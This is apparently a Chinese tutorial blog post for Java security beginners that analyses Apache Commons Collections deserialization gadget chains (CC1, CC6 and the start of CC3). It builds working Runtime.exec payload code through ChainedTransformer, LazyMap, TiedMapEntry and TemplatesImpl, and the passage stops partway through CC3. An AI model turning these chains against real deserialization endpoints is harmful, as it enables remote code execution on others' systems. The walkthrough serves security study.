前言
JAVA安全初级入门者,学习一下CC链加强代码审计能力。
开始之前,先简单引入一些概念知识。
什么是CommonsCollections,这里引用一段话进行解释
Commons:Apache Commons是Apache软件基金会的项目,Commons的目的是提供可重用的解决各种实际问题的Java开源代码。
Commons Collections:Java中有一个Collections包,内部封装了许多方法用来对集合进行处理,CommonsCollections则是对Collections进行了补充,完善了更多对集合处理的方法,大大提高了性能。
环境搭建
这里的CC1链,使用的JDK环境为JDK8u65
,JDK下载链接如下
https://www.oracle.com/java/technologies/javase/javase8-archive-downloads.html
可以放入虚拟机而后拷贝到宿主机进行使用,拷贝的具体路径为C:\Program Files\Java\jdk1.8.0_65
,而后在IDEA中,新建项目时选择对应JDK版本即可
建立好项目后,我们会发现一些代码,例如在sun包下的代码是.class
文件,它的代码是直接反编译出来的,这种不可用来寻找调用同名函数,而且代码难以读懂,因此我们需要提前对其进行配置,我们需要下载其对应java文件至JDK
中,具体方法如下
首先下载有漏洞的版本,链接如下
http://hg.openjdk.java.net/jdk8u/jdk8u/jdk/rev/af660750b2f4
而后点击左侧的zip即可下载压缩包
下载完成后,我们回到之前下载中的JDK8U65
文件夹中
这里的src.zip
为压缩包,我们将其解压在此文件夹下,而后,我们去刚刚下载的zip文件中找到sun包,具体路径为jdk-af660750b2f4\\jdk-af660750b2f4\\src\\share\\classes
,而后将其解压到在这个src
目录下
接下来在IDEA中选择Project Structure
选择SDKs,并在Sourcepath
下添加src
包
此时就大功告成了,可以开始分析CC链了。
CC1
这里CC1链中的漏洞点是InvolveTransform
的Transform
方法,跟进查看
这里可以发现当输入不为空时,就会调用反射获取输入参数的类,而后获取根据两个参数获取此类的某个方法,我们跟进这两个参数
这里可以发现是InvokerTransformer
方法内的两个参数,然后继续看上一个方法
,这里是method.invoke(input, iArgs);,也就是说可以直接执行了输入的方法,并将InvokerTransformer
的参数值赋值到了这里。
显而易见,这是一个完整的反射流程,我们可以尝试触发命令执行。
正常执行命令的操作如下
Runtime.getRuntime().exec("calc");
调用反射时如下
Runtime r = Runtime.getRuntime();
Class c = Runtime.class;
Method execMethod = c.getMethod("exec", String.class);
execMethod.invoke(r,"calc");
这里简单改写下,改写为该类触发的形式
首先看一下,InvokerTransformer
调用的第一个参数是String
类的方法名,我们这里的方法名,自然是exec
,因此第一个参数就有了,如下
InvokerTransformer invokerTransformer = new InvokerTransformer("exec");
接下来看第二个参数,第二个参数的类型是Class数组
类型的参数类型,我们这里的exec
是字符串,所以就是String
,所以第二个参数也有了,如下
InvokerTransformer invokerTransformer = new InvokerTransformer("exec",Class[]{String.class});
接下来看第三个参数,第三个参数的类型是Object数组
类型的参数值,我们这里要执行的命令是calc
,所以就直接写calc
就可以啦,因此三个参数就构造好了,具体如下
InvokerTransformer invokerTransformer = new InvokerTransformer("exec",Class[]{String.class},Object[]{"calc"});
这时三个参数构造好了,我们想要触发反射,还需要调用它的transform
方法,这个方法需要一个参数来获取它的类,具体语句是这个
Class cls = input.getClass();
我们这里,根据正常反射情况下,可以看出调用的类是Runtime
类,所以这里需要的就是Runtime
类,根据反射获取类的话,有一种方法是已知类中的某个静态变量或其他,通过x.getClass()
可以获取类,我们这里的话跟进Runtime
类看一下
可以发现getRuntime
是公共静态方法,这也是我们前文中讲正常反射为什么要用它来获取类的原因,因此我们这里的话也仍旧用这个来获取Runtime
类,因此这里input
的内容就是Runtime.getRuntime()
,所以这里构造语句如下
transform(Runtime.getRuntime())
将这两个语句进行合并
InvokerTransformer invokerTransformer = new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});
invokerTransformer.transform(Runtime.getRuntime());
可以发现此时是可以成功执行命令的,因此接下来接着往上找,我们要找一个方法调用这个transform
方法的,最好是不重名的,因为我们最后的话可以走到ReadObject
方法的,这样才能实现命令执行。
这里该怎么去寻找调用transform
方法的呢,很简单,只需要我们选中这个方法,然后点击右键,选择Find Usages
此时即可在下方发现调用transform
方法的函数
这里我们注意到TransformMap
类,跟进查看一下相关代码,而后发现代码如下
protected Object checkSetValue(Object value) {
return valueTransformer.transform(value);
}
这里发现调用了transform
,如果可以控制valueTransformer
,就可以实现刚刚的命令执行,因此我们看这个valueTransformer
是从哪里来的,跟进查看
public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
return new TransformedMap(map, keyTransformer, valueTransformer);
}
protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) {
super(map);
this.keyTransformer = keyTransformer;
this.valueTransformer = valueTransformer;
}
TransformedMap
构造方法为protected
方法,因此提供了一个静态方法decorate
来调用它的构造方法,decorate
接收的参数为一个Map
和两个Transformer
,并对两个Transformer
参数进行修饰。
此时我们就找到了控制了valueTransformer
的方法,现在只需要两步,即可实现刚刚的命令执行
1、将valueTransformer改写为new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
2、将transform内的参数改写为Runtime.getRuntime()
首先来看第一步,第一步的实现的话,我们只需要向decorate
内传入一个Map
,控制第三个参数为new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
即可,因此我们这里构造语句如下
InvokerTransformer invokerTransformer = new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});
HashMap map = new HashMap();
TransformedMap.decorate(map,null,invokerTransformer);
此时第一步就实现完成了,然后来到第二步,我们该如何控制value
的值为Runtime.getRuntime()
呢,这个checkSetValue
是protected
方法,我们是无法直接调用的,因此我们这里查看其他方法谁调用了这个方法,进而实现控制此值,选中checkSetValue
,右键点击Find Usages
,查看哪里调用了此方法,而后来到了AbstractInputCheckedMapDecorator
的MapEntry
类,查看它的setValue
方法
并且这里注意到TransformedMap
类是AbstractInputCheckedMapDecorator
的继承类
该类的具体方法如下
static class MapEntry extends AbstractMapEntryDecorator {
/** The parent map */
private final AbstractInputCheckedMapDecorator parent;
protected MapEntry(Map.Entry entry, AbstractInputCheckedMapDecorator parent) {
super(entry);
this.parent = parent;
}
public Object setValue(Object value) {
value = parent.checkSetValue(value);
return entry.setValue(value);
}
}
这里不难发现我们可以通过控制setValue
的方法就可以实现控制checkValue
,因此我们这里需要一个entry
来调用它的setValue
方法,所以这里遍历一个Map,获取它的entry
,具体如下
map.put("key","value");
for (Map.Entry entry:transformedMap.entrySet())
{
entry.setValue(Runtime.getRuntime());
}
此时结合上一个语句,简单改写一下,最终编写整体语句如下
InvokerTransformer invokerTransformer = new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});
HashMap map = new HashMap();
Map<Object,Object> transformedMap =TransformedMap.decorate(map,null,invokerTransformer);
map.put("key","value");//随便给map存一对值 否则遍历时map为空 拿不到entry
for (Map.Entry entry:transformedMap.entrySet())
{
entry.setValue(Runtime.getRuntime());
}
此时成功执行命令,接下来继续往下走,因为我们的最终目标是找到ReadObject
方法,此时发现有一个类调用了readObject
方法,跟进
这里发现它正好有entry
的遍历功能,所以我们现在就可以通过这个直接拿entry
了。
部分代码如下
AnnotationInvocationHandler(Class<? extends Annotation> type, Map<String, Object> memberValues) {
Class<?>[] superInterfaces = type.getInterfaces();
if (!type.isAnnotation() ||
superInterfaces.length != 1 ||
superInterfaces[0] != java.lang.annotation.Annotation.class)
throw new AnnotationFormatError("Attempt to create proxy for a non-annotation type.");
this.type = type;
this.memberValues = memberValues;
}
private void readObject(java.io.ObjectInputStream s)
throws java.io.IOException, ClassNotFoundException {
s.defaultReadObject();
// Check to make sure that types have not evolved incompatibly
AnnotationType annotationType = null;
try {
annotationType = AnnotationType.getInstance(type);
} catch(IllegalArgumentException e) {
// Class is no longer an annotation type; time to punch out
throw new java.io.InvalidObjectException("Non-annotation type in annotation serial stream");
}
Map<String, Class<?>> memberTypes = annotationType.memberTypes();
// If there are annotation members without values, that
// situation is handled by the invoke method.
for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
String name = memberValue.getKey();
Class<?> memberType = memberTypes.get(name);
if (memberType != null) { // i.e. member still exists
Object value = memberValue.getValue();
if (!(memberType.isInstance(value) ||
value instanceof ExceptionProxy)) {
memberValue.setValue(
new AnnotationTypeMismatchExceptionProxy(
value.getClass() + "[" + value + "]").setMember(
annotationType.members().get(name)));
}
}
}
这个方法并不是public
方法,所以我们想调用它这个类,需要通过包名来进行调用
Class AnnotationInvocationHandler = Class.forname(sun.reflect.annotation.AnnotationInvocationHandler)
而后我们可以发现这里的构造参数也不是public
的,因此也需要通过反射来进行获取,使用的方法是getConstructor
,具体如下
Constructor AnnotartionConstructer = AnnotationInvocationHandler.getConstructor(Class.class,Map.class);
接下来我们还需要用setAccessible
给它设置特权模式,有了这个才能执行非public
方法,语句如下
annotationInvocationHandlerconstructor.setAccessible(true);
接下来就可以实例化对象了,但这里要如何赋值呢,我们看源代码可以发现第一个参数为Class<? extends Annotation> type
,这个其实是注解的意思,我们平常写的Override
就是其中一种,这里暂时写他,第二个是Map
,我们用前文写好的即可,代码如下
Object o = AnnotartionConstructer.newInstance(Override.class,transformedMap);
此时和前文语句相组合,得到代码如下
InvokerTransformer invokerTransformer = new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});
HashMap map = new HashMap();
Map<Object,Object> transformedMap =TransformedMap.decorate(map,null,invokerTransformer);
map.put("key","value");
Class AnnotationInvocationHandler = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor AnnotartionConstructer = AnnotationInvocationHandler.getConstructor(Class.class,Map.class);
AnnotartionConstructer.setAccessible(true);
Object o = AnnotartionConstructer.newInstance(Override.class,transformedMap);
Serialize(o);
unserialize("ser.bin");
三个Bug
但此时出现了三个问题
1、Runtime.getRuntime()这个是我们通过Runtime对象实现的,但Runtime对象没有继承Serializable
2、if (memberType != null) { // i.e. member still exists
Object value = memberValue.getValue();
if (!(memberType.isInstance(value) ||
value instanceof ExceptionProxy)) {
memberValue.setValue(
在执行SetValue方法前,还有两个if语句,该如何进行绕过。
3、memberValue.setValue(
new AnnotationTypeMismatchExceptionProxy(
value.getClass() + "[" + value + "]").setMember(
annotationType.members().get(name)));
这里传入的参数应该是Runtime.getRuntime(),但这个方法内的参数值我们不确定能不能控制
首先来看第一个问题,虽然Runtime
对象没有继承Serializable
,但是它的Class
类,即Runtime.class
是可以进行序列化的,因此我们这里用它来代替Runtime
,然后用反射调用exec
和getRuntime
方法,再用invoke
执行即可,具体代码如下
Class c = Runtime.class;
Method getRuntime = c.getMethod("getRuntime");
Method execMethod = c.getMethod("exec", String.class);
execMethod.invoke(getRuntime.invoke(null,null),"calc");
第一个问题此时已经解决一半,接下来我们用一开始调用的方式,即用InvokerTransformer
来调用这里的getRuntime
方法,代码如下
Method getRuntime = (Method) new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}).transform(Runtime.class);
此时已经成功获取了getRuntime
方法,接下来调用invoke
方法执行此方法。
Runtime currentRuntime = (Runtime) new InvokerTransformer("invoke",new Class[]{Object.class,Object.class},new Object[]{null,null}).transform(getRuntime);
此时再写一个反弹计算器的代码即可实现命令执行,此时我们发现这个调用链是一个首尾相连的结构,即下一个调用的是上一个的transform
Method getRuntime =(Method) new InvokerTransformer("getMethod",new Class[]{String.class,String.class},new Object[]{"getRuntime",null}).transform(Runtime.class);
Runtime currentRuntime = (Runtime) new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}).transform(getRuntime);
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(currentRuntime);
我们在调用transform
中发现这样一个名为ChainedTransformer
方法,其部分代码如下
可以看出这个transform正好是调用上一个的值传给下一个,因此我们可以用这个来实现将三个联合在一起,具体代码如下
ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
});
chainedTransformer.transform(Runtime.class);
此时第一个问题就解决了。
接下来看第二个问题,这里的两个if
语句,首先看第一个if
语句
String name = memberValue.getKey();
Class<?> memberType = memberTypes.get(name);
if (memberType != null) { // i.e. member still exists
它这个是判断memberType
是否为空,这个memberType
是构造函数中传入的annotation
的成员变量,name
是从我们遍历的Map
中获取的Key
,因此要绕过这个if
,我们必须使得注解中的成员变量与map
中的key
值相同,我们之前赋的注解是Override
,跟进看下
可以发现它内部是没有成员变量的,那么这个if
肯定是无法绕过的,因此我们这里修改注解为Retention
,它的下面有一个变量为Value
接下来,我们再修改Map
中的Key
值为value
,具体代码如下
map.put("value","bbb");
Object o = AnnotartionConstructer.newInstance(Retention.class,transformedMap);
此时第一层if
就成功绕过了,接下来看第二层if
Object value = memberValue.getValue();
if (!(memberType.isInstance(value) ||
value instanceof ExceptionProxy)) {
memberValue.setValue(
new AnnotationTypeMismatchExceptionProxy(
value.getClass() + "[" + value + "]").setMember(
annotationType.members().get(name)));
}
memberType
是一个Annotation
,而Value
是一个bbb
,所以这里直接返回false
,第二层if
通过
此时第二个问题解决。
接下来看第三个问题
现在的setValue
传入的并非我们想要的,此时我们需要另一个transformer
,ConstantTransformer
类,其代码如下
public ConstantTransformer(Object constantToReturn) {
super();
iConstant = constantToReturn;
}
public Object transform(Object input) {
return iConstant;
}
可以发现它的transform
不论接收什么,都会返回一个固定值。
所以最终payload修改为
public class Main {
public static void main(String[] args) throws Exception{
// Class c = Runtime.class;
// Method getRuntime = c.getMethod("getRuntime");
// Method execMethod = c.getMethod("exec", String.class);
// execMethod.invoke(getRuntime.invoke(null,null),"calc");
// Method getRuntime =(Method) new InvokerTransformer("getMethod",new Class[]{String.class,String.class},new Object[]{"getRuntime",null}).transform(Runtime.class);
// Runtime currentRuntime = (Runtime) new InvokerTransformer("invoke",new Class[]{Object.class,Object.class},new Object[]{null,null}).transform(getRuntime);
// new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(currentRuntime);
ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
});
// InvokerTransformer invokerTransformer = new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});
HashMap map = new HashMap();
Map<Object,Object> transformedMap =TransformedMap.decorate(map,null,chainedTransformer);
map.put("value","bbb");
Class AnnotationInvocationHandler = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor AnnotartionConstructer = AnnotationInvocationHandler.getDeclaredConstructor(Class.class,Map.class);
AnnotartionConstructer.setAccessible(true);
Object o = AnnotartionConstructer.newInstance(Target.class,transformedMap);
Serialize(o);
unserialize("ser.bin");
// for (Map.Entry entry:transformedMap.entrySet())
// {
// entry.setValue(Runtime.getRuntime());
// }
// invokerTransformer.transform(Runtime.getRuntime());
// Runtime.getRuntime().exec("calc");
// Runtime.getRuntime().exec("calc");
// Runtime r = Runtime.getRuntime();
// Method getMethod =(Method) new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}).transform(Runtime.class);
// Runtime r =(Runtime) new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}).transform(getMethod);
// new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(r);
// Transformer[] transformers =new Transformer[]{
// new ConstantTransformer(Runtime.class),
// new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
// new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
// new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
// };
// ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
// chainedTransformer.transform(Runtime.class);
// Class c = Runtime.class;
// Method getRUntimeMethod = c.getMethod("getRuntime",null);
// Runtime r = (Runtime) getRUntimeMethod.invoke(null,null);
// Method execMethod = c.getMethod("exec", String.class);
// execMethod.invoke(r,"calc");
}
public static void Serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("ser.bin"));
Object obj = ois.readObject();
return obj;
}
}
CC1 链2
上一条链是用的TransfomedMap
中的checkSetValue()
方法,这里我们还是有另一个方法可选的,即LazyMap
中的get
方法
具体代码如下
public Object get(Object key) {
// create value for key if key is not currently in the map
if (map.containsKey(key) == false) {
Object value = factory.transform(key);
map.put(key, value);
return value;
}
return map.get(key);
}
这里存在语句Object value = factory.transform(key);
,如果我们可以控制factory
为ChainedTransformer
,就可以实现命令执行,因此我们看factory
的赋值语句
protected LazyMap(Map map, Factory factory) {
super(map);
if (factory == null) {
throw new IllegalArgumentException("Factory must not be null");
}
this.factory = FactoryTransformer.getInstance(factory);
}
可以发现这里是在调用LazyMap
时给factory
赋了值,接下来我们看哪里调用了get
方法,最终确定到了AnnotationInvocationHandler.invoke
这里
public Object invoke(Object proxy, Method method, Object[] args) {
//仅部分代码
String member = method.getName();
// Handle annotation member accessors
Object result = memberValues.get(member);
}
这个memeberValues
是什么呢,在该类中搜索一下,即可发现
AnnotationInvocationHandler(Class<? extends Annotation> type, Map<String, Object> memberValues) {
Class<?>[] superInterfaces = type.getInterfaces();
if (!type.isAnnotation() ||
superInterfaces.length != 1 ||
superInterfaces[0] != java.lang.annotation.Annotation.class)
throw new AnnotationFormatError("Attempt to create proxy for a non-annotation type.");
this.type = type;
this.memberValues = memberValues;
}
它是传入的Map
,这里的AnnotationInvocationHandler
是一个动态代理调用处理类,当AnnotationInvocationHandler
的任意方法被调用时就会自动调用invoke
方法,接下来来到了它自身的ReadObject
方法,这里是一个比较有趣的点,自身触发自身,此时即完成了整个链,具体如下
接下来我们来具体构造Payload,首先是invoke
,它这里是有两个判断语句在的
if (member.equals("equals") && paramTypes.length == 1 &&
paramTypes[0] == Object.class)
return equalsImpl(args[0]);
if (paramTypes.length != 0)
throw new AssertionError("Too many parameters for an annotation method");
要实现后面的get
方法,我们需要保证这两个if
语句不能执行,因此我们这里首先不能让方法名是equals
,然后需要它是无参方法才可以,这里看到readObject
中恰好调用了memeberValues
的entryset()
方法
for (Map.Entry<String, Object> memberValue : memberValues.entrySet())
整体思路如下
我们需要两个AnnotationInvocationHandler,第一个AnnotationInvocationHandler中的memberValues的值为Proxy,即代理第二个AnnotationInvocationHandler的动态代理,通过这样调用Proxy.entrySet()来触发它的invoke方法,Proxy中AnnotationInvocationHandler,即第二个代理的值为LazyMap,在Proxy的invoke方法中调用了LazyMap.get()方法,触发ChainedTransformer.transform,之后便是InvokeTransformer.transform
接下来理解了思路,来具体写一下Payload,前半部分是一样的,ChainedTransformer
的transform
链依次调用,所以这里直接借助前面的
ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
});
接下来看LazyMap
public static Map decorate(Map map, Transformer factory) {
return new LazyMap(map, factory);
}
protected LazyMap(Map map, Transformer factory) {
super(map);
if (factory == null) {
throw new IllegalArgumentException("Factory must not be null");
}
this.factory = factory;
}
我们这里写出对应的Payload
ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
});
HashMap hashmap = new HashMap<>();
Map lazymap = LazyMap.decorate(hashmap, chainedTransformer);
接下来写对应的动态代理
ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
});
HashMap hashmap = new HashMap<>();
Map lazymap = LazyMap.decorate(hashmap, chainedTransformer);
Class AIH = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor AIHC = AIH.getDeclaredConstructor(Class.class, Map.class);
AIHC.setAccessible(true);
InvocationHandler AIHCIH = (InvocationHandler) AIHC.newInstance(Override.class, lazymap);
Map mapproxy = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(),new Class[]{Map.class},AIHCIH);
Object o = AIHC.newInstance(Override.class,mapproxy);
serialize(o);
unserialize("ser.bin");
}
CC1的两条链,至此完结。
CC6
在jdku871中对CC1进行了主要修复,具体如下(引用于炸酱面师傅
)
针对checkSetValue链中,readObject中整个移除了对checkSetValue的操作,针对LazyMap链则将memberValues设置为了客户端不可控,而是通过一个Filed类来进行读取。
接下来我们对CC6进行分析,从ysoserial
中看它的gadgetchain
不难发现直到LazyMap.get()
,后半部分都是相同的,再往上看到了HashMap
的hash()
方法,这里与URLDNS
链是相像的,在向HashMap
put一个键值对后,它的readObject
方法就会对Map
进行遍历,进而调用每个key的hash,在进行hash
时就会对key
进行hashcode
处理,此时调用TiedMapEntry
的hashCode
方法,它的hashCode
方法调用了getValue()
,getValue
调用了get()
,此时整个流程结束。
接下来构造Payload,首先看下TideMapEntry
的构造
public TiedMapEntry(Map map, Object key) {
super();
this.map = map;
this.key = key;
}
它的第一个参数是接收Map
,第二个是key
,因此我们这里把LazyMap
放入map
中即可,构造语句如下
public static void main(String[] args) throws Exception{
ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
});
HashMap hashmap = new HashMap<>();
Map lazymap = LazyMap.decorate(hashmap, chainedTransformer);
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap, "123");
HashMap<Object,Object> map = new HashMap<>();
map.put(tiedMapEntry,"123");
}
但此时会直接触发命令执行,和URLDNS
一样,我们在put时就已经触发了putval
函数然后调用了hash
及后续一系列函数,所以我们这里需要首先给个错误的值,在put后用反射修改回来,这里修改decorate
的第二个参数即可,修改如下
ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
});
HashMap hashmap = new HashMap<>();
Map lazymap = LazyMap.decorate(hashmap, new ConstantTransformer(1));
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap, "123");
HashMap<Object,Object> map = new HashMap<>();
Class c = LazyMap.class;
Field factory = c.getDeclaredField("factory");
factory.setAccessible(true);
factory.set(lazymap,chainedTransformer);
lazymap.remove("123");
serialize(map);
unserialize("ser.bin");
}
但此时发现还是无法弹出计算器,调试一下发现
lazyMap
中赋值的123
在这里影响了if判断,没有进入语句中,因此我们这里需要删除123
,最终payload如下
ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
});
HashMap hashmap = new HashMap<>();
Map lazymap = LazyMap.decorate(hashmap, new ConstantTransformer(1));
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap, "123");
HashMap<Object,Object> map = new HashMap<>();
map.put(tiedMapEntry,"123");
Class c = LazyMap.class;
Field factory = c.getDeclaredField("factory");
factory.setAccessible(true);
factory.set(lazymap,chainedTransformer);
lazymap.remove("123");
serialize(map);
unserialize("ser.bin");
}
CC3
不同于CC1与CC6,CC3采用的是动态类加载,即加载恶意代码进行攻击的,而非调用命令执行,具体过程如下。
这里注意到ClassLoader中的defineClass最终实现了类的动态加载,这里有多个defineClass
,我们找一个在其他地方被调用的(这样方便我们利用),最终确定在此defineClass
下
protected final Class<?> defineClass(String name, byte[] b, int off, int len)
throws ClassFormatError
它被调用的点在com.sun.org.apache.xalan.internal.xsltc.trax
下的TemplatesImpl.TransletClassLoader
可以发现这里也是一个defineClass
,看一下它在哪里被调用了
同类下的defineTransletClasses()
方法调用了此方法,此时看哪里调用了defineTransletClasses
,这里出现了三个方法
第一个返回了_class
,具体代码如下
private synchronized Class[] getTransletClasses() {
try {
if (_class == null) defineTransletClasses();
}
catch (TransformerConfigurationException e) {
// Falls through
}
return _class;
}
第二个返回了_class
的下标,具体代码如下
public synchronized int getTransletIndex() {
try {
if (_class == null) defineTransletClasses();
}
catch (TransformerConfigurationException e) {
// Falls through
}
return _transletIndex;
}
第三个是我们要关注的重点,其代码如下
private Translet getTransletInstance()
throws TransformerConfigurationException {
try {
if (_name == null) return null;
if (_class == null) defineTransletClasses();
// The translet needs to keep a reference to all its auxiliary
// class to prevent the GC from collecting them
AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance();
translet.postInitialization();
translet.setTemplates(this);
translet.setServicesMechnism(_useServicesMechanism);
translet.setAllowedProtocols(_accessExternalStylesheet);
if (_auxClasses != null) {
translet.setAuxiliaryClasses(_auxClasses);
}
return translet;
}
发现这里对_class[_transletIndex]
进行了newInstance()
操作,如果我们可以控制这个_class[_transletIndex]
为恶意类,然后让它进行实例化,此时就可以触发恶意类中的恶意代码,但这个是private
方法,所以我们继续寻找谁调用了它,这里跟进到了同类下的newTransformer
方法
重点语句是这个
transformer = new TransformerImpl(getTransletInstance(), _outputProperties,
_indentNumber, _tfactory);
这里调用了getTransletInstance()
方法,同时我们注意到这个是public
方法,因此整个流程到这里就可以完结了。简单梳理一下调用链
接下来写一下Payload
TemplatesImpl templates = new TemplatesImpl();
templates.newTransformer();
接下来对其进行赋值操作,newTransformer
是无参函数,且内部没什么条件语句,所以不需要进行赋值,接下来看getTransletInstance
,它这里是有两个if语句在的
if (_name == null) return null;
if (_class == null) defineTransletClasses();
所以我们要想往下调用,这里必须使得_name
不为空,且_class
为空,这里待会进行赋值,接下来继续跟进defineTransletClasses()
方法,这里注意到在走到动态加载_class
前,返回值中有一个_tfactory.getExternalExtensionsMap()
,如果我们不对_tfactory
进行赋值,那么它就会爆出空指针异常引发报错,因此我们这里需要进行赋值,同时我们注意到
for (int i = 0; i < classCount; i++) {
_class[i] = loader.defineClass(_bytecodes[i]);
这里的_class
的值是由_bytecodes
控制的。至此,我们一共需要修改3个变量
1、private String _name = null;
2、private byte[][] _bytecodes = null;
3、private transient TransformerFactoryImpl _tfactory = null;
三个变量均为private
变量,所以需要setAccessible
来修改权限,先修改第一个,第一个直接调用反射修改即可
//调用反射修改_name的值
Class cls = templates.getClass();
Field name = cls.getDeclaredField("_name");
name.setAccessible(true);
name.set(templates,"qwq");
第一个此时就修改完了,接下来看第二个
for (int i = 0; i < classCount; i++) {
_class[i] = loader.defineClass(_bytecodes[i]);
Class defineClass(final byte[] b) {
return defineClass(null, b, 0, b.length);
}
这里发现我们的_bytecodes
是一个二维数组,而接收时要的却是一个一维数组,因此我们可以将一个一维数组放进_bytecodes
这个二维数组中,这样在for循环遍历时,可以将一维数组遍历出来并赋值给defineClass
,具体代码如下
//调用反射修改_bytecodes的值
Field bytecodes = cls.getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);
byte[] code = Files.readAllBytes(Paths.get("D://java测试//Test.class"));
byte[][] codes = {code};
bytecodes.set(templates,codes);
接下来我们需要修改第三个变量_tfactory
,这里需要注意了,因为_tfactory
是被transient
关键词修饰的,它是不参与序列化的,也就是说这里即使我们进行了修改,最终在序列化和反序列化过程中也是没用的,还是null,因此我们这里需要找其他修改的方法,这里注意到本类下的readObject
方法存在如下代码
if (is.readBoolean()) {
_uriResolver = (URIResolver) is.readObject();
}
_tfactory = new TransformerFactoryImpl();
}
这里对_tfactory
进行了赋值,我们先不进行序列化和反序列化,看看能不能弹计算器
public static void main(String[] args) throws Exception {
TemplatesImpl templates = new TemplatesImpl();
//调用反射修改_name的值
Class cls = templates.getClass();
Field name = cls.getDeclaredField("_name");
name.setAccessible(true);
name.set(templates,"qwq");
//调用反射修改_bytecodes的值
Field bytecodes = cls.getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);
byte[] code = Files.readAllBytes(Paths.get("D://java测试//Test.class"));
byte[][] codes = {code};
bytecodes.set(templates,codes);
Field tfactoryfield = cls.getDeclaredField("_tfactory");
tfactoryfield.setAccessible(true);
tfactoryfield.set(templates,new TransformerFactoryImpl());
templates.newTransformer();
}
这里并没有弹出计算器,反而触发了空指针报错,我们调试后确定报错位置如下
这里的第一个if检测了_class
的父类名是否为ABSTRACT_TRANSLET
,如果不是则进入else,继而触发空指针异常,此时我们有两种方法,一是给它的父类赋值为ABSTRACT_TRANSLET
,二是给_auxCLasses
赋值,让他调用put方法不报错,但我们注意到这样的话第二个if也还是会异常,因此我们只能给它的父类赋值了,接下来我们跟进
